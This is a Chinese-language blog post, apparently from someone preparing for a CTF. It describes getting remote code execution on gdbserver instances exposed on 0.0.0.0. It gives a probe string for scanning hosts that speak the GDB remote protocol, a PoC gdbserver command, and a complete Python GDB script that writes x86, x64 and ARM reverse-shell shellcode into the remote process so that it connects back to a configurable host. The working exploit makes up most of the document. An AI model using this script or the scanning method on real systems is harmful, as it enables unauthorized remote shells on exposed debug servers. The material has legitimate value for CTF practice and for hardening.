在準備 DEFCON CTF 時額外想到的小玩具,很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情
至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD
大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點….XD
比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386,如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構
(原文章因為都在 x86 架構下所以沒這個問題XD)
但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD
另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol,送個
$?#3f
就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD
最後 PoC,在本機跑
gdbserver –remote-debug 0.0.0.0:31337 /bin/ls
配合下面 Exploit 就可以拿 shell XD

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 
 | 
 import sys
 import gdb
 import socket
 import struct
 import binascii
 
 DEBUG = False
 
 GDB_SERVER = ('127.0.0.1', 12345)
 
 CONNECT_BACK_HOST = '127.0.0.1'
 CONNECT_BACK_PORT = 31337
 
 def _set_pair(sc):
 ip   = socket.inet_aton( CONNECT_BACK_HOST )
 port = struct.pack('>H', CONNECT_BACK_PORT )
 return binascii.unhexlify(sc).replace(b'\xff'*2, port).replace(b'\x00'*4, ip)
 
 
 def reverse_shell_x86():
 sc = '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \
 '000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \
 'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80'
 return _set_pair(sc)
 
 def reverse_shell_x64():
 sc = '4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c0' \
 '4831f64d31d24152c604240266c7442402ffffc7442404000000004889e66a10' \
 '5a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a' \
 '48bf2f2f62696e2f736848c1ef0857545f6a3b580f05'
 return _set_pair(sc)
 
 def reverse_shell_arm():
 sc = '01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27' \
 '0221301c01df0139fbd505a0921a05b469460b2701dfc0460200ffff00000000' \
 '2f62696e2f736800'
 return _set_pair(sc)
 
 def gdb_exec(cmd):
 if DEBUG:
 gdb.execute( cmd )
 else:
 gdb.execute( cmd, True, True )
 
 if __name__ == '__main__':
 gdb_exec('set confirm off')
 gdb_exec('set verbose off')
 
 ARCHS = {
 'x86': reverse_shell_x86(),
 'x64': reverse_shell_x64(),
 'arm': reverse_shell_arm()
 }
 
 for arch, shellcode in ARCHS.items():
 try:
 if arch == 'arm':
 gdb_exec('set architecture arm')
 if arch == 'x86':
 gdb_exec('set architecture i386')
 if arch == 'x64':
 gdb_exec('set architecture i386:x86-64')
 
 gdb_exec('target extended-remote %s:%d' % GDB_SERVER)
 bp = gdb.Breakpoint('*0', internal=True)
 
 try:
 gdb_exec('run')
 except gdb.error as e:
 pass
 
 bp.delete()
 
 for idx, ch in enumerate(shellcode):
 ch = ord(ch)
 if arch == 'arm':
 gdb_exec('set *(unsigned char *)($pc + %d) = %d' % (idx, ch))
 if arch == 'x86':
 gdb_exec('set *(unsigned char *)($eip + %d) = %d' % (idx, ch))
 if arch == 'x64':
 gdb_exec('set *(unsigned char *)($rip + %d) = %d' % (idx, ch))
 
 gdb_exec('continue')
 gdb_exec('continue')
 exit()
 
 except gdb.error as e:
 print( '##### not %s' % arch )
 
 
 |